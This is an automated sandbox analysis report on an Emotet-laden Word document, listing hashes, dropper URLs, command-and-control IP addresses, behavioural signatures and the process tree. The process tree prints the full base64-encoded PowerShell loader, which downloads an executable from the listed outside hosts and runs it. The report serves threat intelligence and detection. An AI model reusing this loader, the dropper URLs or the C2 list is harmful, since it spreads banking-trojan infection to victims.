emotet | 341fb99c64c62302c7df4fdf3a33efaf3630acc3bfa40d6961bf5e62733cec56

General

Target
60K47QBPXY.doc
Size 173KB
Sample200810-9531tk2h5x
SHA256 341fb99c64c62302c7df4fdf3a33efaf3630acc3bfa40d6961bf5e62733cec56
MD5 dff4ebf364022885d904d1516dd559a5
SHA1 9aec08c62488a30300b7c6bdea1410ad27818d30
SHA512 2ac97c43a3779560ada4aeee82ee90798349b36f85614ae2eebb2248ed8af8d7ad579a8b259d7292e48fe2f6a1af4d601c7220bde87c7823f85a22d464a730b1
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://laijie88.com/v7ql/6ru_8itd_e6n4mer/
exe.dropper
https://sososothemes.com/scbsn/s_ud_hlqsv5mhub/
exe.dropper
http://rebeltraiteur.com/kqcij/x0uw_3_sd58cj6xl/
exe.dropper
http://chicagoyachtguru.com/site/v3cu_1p9f_0s6a/
exe.dropper
http://safariilab.com/old-safariilab/9_k1_jgw/

Extracted

Family

emotet

C2

74.120.55.163:80
176.10.250.88:8080
96.8.113.4:8080
137.59.187.107:8080
74.208.45.104:8080
104.131.11.150:443
110.145.77.103:80
87.106.136.232:8080
114.146.222.200:80
37.187.72.193:8080
181.230.116.163:80
70.167.215.250:8080
103.86.49.11:8080
201.173.217.124:443
109.74.5.95:8080
95.213.236.64:8080
5.39.91.110:7080
78.24.219.147:8080
81.2.235.111:8080
183.101.175.193:80
85.152.162.105:80
139.59.60.244:8080
47.146.117.214:80
104.131.44.150:8080
72.12.127.184:443
200.41.121.90:80
41.60.200.34:80
61.19.246.238:443
139.130.242.43:80
113.160.130.116:8443
76.27.179.47:80
190.55.181.54:443
176.111.60.55:8080
46.105.131.79:8080
93.51.50.171:8080
121.124.124.40:7080
62.75.141.82:80
24.43.99.75:80
204.197.146.48:80
157.245.99.39:8080
104.236.246.93:8080
47.144.21.12:443
203.153.216.189:7080
142.105.151.124:443
153.126.210.205:7080
185.94.252.104:443
209.141.54.221:8080
162.241.92.219:8080
222.214.218.37:4143
119.198.40.179:80
24.179.13.119:80
157.147.76.151:80
50.116.86.205:8080
83.110.223.58:443
152.168.248.128:443
79.98.24.39:8080
165.165.171.160:8080
47.153.182.47:80
168.235.67.138:7080
5.196.74.210:8080
180.92.239.110:8080
189.212.199.126:443
47.146.32.175:80
91.211.88.52:7080
62.138.26.28:8080
209.182.216.177:443
169.239.182.217:8080
190.160.53.126:80
95.179.229.244:8080
181.211.11.242:80
37.139.21.175:8080
87.106.139.101:8080
116.203.32.252:8080
200.55.243.138:8080

rsa_pubkey.plain

Signatures

Emotet Payload 6 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/3160-14-0x0000000000AE0000-0x0000000000AEC000-memory.dmp	emotet
behavioral2/memory/3160-14-0x0000000000AE0000-0x0000000000AEC000-memory.dmp	emotet
behavioral2/memory/3784-17-0x0000000000638000-0x000000000063D000-memory.dmp	emotet
behavioral2/memory/3784-17-0x0000000000638000-0x000000000063D000-memory.dmp	emotet
behavioral2/memory/3784-18-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet
behavioral2/memory/3784-18-0x00000000004F0000-0x00000000004FC000-memory.dmp	emotet

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\InputLocaleManager\wbemcomn.exe	967.exe

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE

Suspicious use of WriteProcessMemory 3 IoCs

description	pid	Process	procid_target
PID 3160 wrote to memory of 3784	3160	967.exe	77
PID 3160 wrote to memory of 3784	3160	967.exe	77
PID 3160 wrote to memory of 3784	3160	967.exe	77

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3248	powersheLL.exe

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
3248	powersheLL.exe
3248	powersheLL.exe
3248	powersheLL.exe
3784	wbemcomn.exe
3784	wbemcomn.exe
3784	wbemcomn.exe
3784	wbemcomn.exe

Blacklisted process makes network request 1 IoCs

flow	pid	Process
17	3248	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
3160	967.exe
3784	wbemcomn.exe

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3740	WINWORD.EXE
3160	967.exe
3160	967.exe
3784	wbemcomn.exe
3784	wbemcomn.exe

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	3248	640	powersheLL.exe	66

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\60K47QBPXY.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3740

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABCAFcASgBKAEUAdABhAGcAPQAnAEQATwBIAFgARwBnAGoAYgAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAYwBVAHIAYABJAHQAWQBgAFAAUgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARgBEAFIARwBNAG0AeAB0ACAAPQAgACcAOQA2ADcAJwA7ACQASABSAFgAWQBCAHUAdgBiAD0AJwBXAFAAUQBDAE4AdwBvAHUAJwA7ACQAWABLAFEAQwBTAGMAYQBzAD0AJABlAG4AdgA6AHUAcwBlAHIAcAByAG8AZgBpAGwAZQArACcAXAAnACsAJABGAEQAUgBHAE0AbQB4AHQAKwAnAC4AZQB4AGUAJwA7ACQATgBHAFgAQgBNAG0AdwBkAD0AJwBIAFcATABYAEsAbQBsAGwAJwA7ACQATgBPAFIAVwBYAHgAeQBqAD0ALgAoACcAbgBlAHcAJwArACcALQBvAGIAJwArACcAagBlAGMAdAAnACkAIABOAGUAdAAuAFcAZQBiAGMAbABpAEUATgBUADsAJABKAEsAQQBaAFUAeABhAGUAPQAnAGgAdAB0AHAAOgAvAC8AbABhAGkAagBpAGUAOAA4AC4AYwBvAG0ALwB2ADcAcQBsAC8ANgByAHUAXwA4AGkAdABkAF8AZQA2AG4ANABtAGUAcgAvACoAaAB0AHQAcABzADoALwAvAHMAbwBzAG8AcwBvAHQAaABlAG0AZQBzAC4AYwBvAG0ALwBzAGMAYgBzAG4ALwBzAF8AdQBkAF8AaABsAHEAcwB2ADUAbQBoAHUAYgAvACoAaAB0AHQAcAA6AC8ALwByAGUAYgBlAGwAdAByAGEAaQB0AGUAdQByAC4AYwBvAG0ALwBrAHEAYwBpAGoALwB4ADAAdQB3AF8AMwBfAHMAZAA1ADgAYwBqADYAeABsAC8AKgBoAHQAdABwADoALwAvAGMAaABpAGMAYQBnAG8AeQBhAGMAaAB0AGcAdQByAHUALgBjAG8AbQAvAHMAaQB0AGUALwB2ADMAYwB1AF8AMQBwADkAZgBfADAAcwA2AGEALwAqAGgAdAB0AHAAOgAvAC8AcwBhAGYAYQByAGkAaQBsAGEAYgAuAGMAbwBtAC8AbwBsAGQALQBzAGEAZgBhAHIAaQBpAGwAYQBiAC8AOQBfAGsAMQBfAGoAZwB3AC8AJwAuACIAUwBgAFAAbABJAFQAIgAoAFsAYwBoAGEAcgBdADQAMgApADsAJABEAFgASABQAEoAcwByAGoAPQAnAE4ATQBUAEIAUwBtAGYAbgAnADsAZgBvAHIAZQBhAGMAaAAoACQARABCAEMAWgBIAHQAcAByACAAaQBuACAAJABKAEsAQQBaAFUAeABhAGUAKQB7AHQAcgB5AHsAJABOAE8AUgBXAFgAeAB5AGoALgAiAGQAYABvAHcAbgBMAG8AQQBEAEYAYABpAEwARQAiACgAJABEAEIAQwBaAEgAdABwAHIALAAgACQAWABLAFEAQwBTAGMAYQBzACkAOwAkAE8ARwBGAEsAQwB4AHoAbgA9ACcAWQBaAEUARABRAGMAcQBrACcAOwBJAGYAIAAoACgAJgAoACcARwBlACcAKwAnAHQALQBJACcAKwAnAHQAZQBtACcAKQAgACQAWABLAFEAQwBTAGMAYQBzACkALgAiAGwAZQBOAEcAYABUAEgAIgAgAC0AZwBlACAAMwA3ADAAOAAzACkAIAB7ACgAWwB3AG0AaQBjAGwAYQBzAHMAXQAnAHcAaQBuADMAMgBfAFAAcgBvAGMAZQBzAHMAJwApAC4AIgBjAGAAUgBlAEEAVABFACIAKAAkAFgASwBRAEMAUwBjAGEAcwApADsAJABZAFgARQBKAEMAbQBqAHIAPQAnAEYARABZAFIAWAB1AHgAZgAnADsAYgByAGUAYQBrADsAJABUAFYASgBQAFYAbwB0AGsAPQAnAEoAVgBSAEsASQBxAGoAcAAnAH0AfQBjAGEAdABjAGgAewB9AH0AJABKAFcAQwBZAFMAZwB4AGkAPQAnAFoASABHAEoAVAB4AHEAcgAnAA==
1⤵
- Suspicious use of AdjustPrivilegeToken
- Suspicious behavior: EnumeratesProcesses
- Blacklisted process makes network request
- Process spawned unexpected child process
PID:3248

C:\Users\Admin\967.exe
C:\Users\Admin\967.exe
1⤵
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
- Executes dropped EXE
- Suspicious use of SetWindowsHookEx
PID:3160
- C:\Windows\SysWOW64\InputLocaleManager\wbemcomn.exe
  "C:\Windows\SysWOW64\InputLocaleManager\wbemcomn.exe"
  2⤵
  - Suspicious behavior: EnumeratesProcesses
  - Executes dropped EXE
  - Suspicious use of SetWindowsHookEx
  PID:3784

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/3160-14-0x0000000000AE0000-0x0000000000AEC000-memory.dmp

Download

memory/3160-13-0x00000000005B7000-0x00000000005BC000-memory.dmp

Download

memory/3248-9-0x0000022B2A200000-0x0000022B2A201000-memory.dmp

Download

memory/3248-10-0x0000022B2A3B0000-0x0000022B2A3B1000-memory.dmp

Download

memory/3248-8-0x00007FFA642C0000-0x00007FFA64CAC000-memory.dmp

Download

memory/3740-0-0x00007FFA6BCC0000-0x00007FFA6C386000-memory.dmp

Download

memory/3740-4-0x000001B115A01000-0x000001B115A2C000-memory.dmp

Download

memory/3784-17-0x0000000000638000-0x000000000063D000-memory.dmp

Download

memory/3784-18-0x00000000004F0000-0x00000000004FC000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads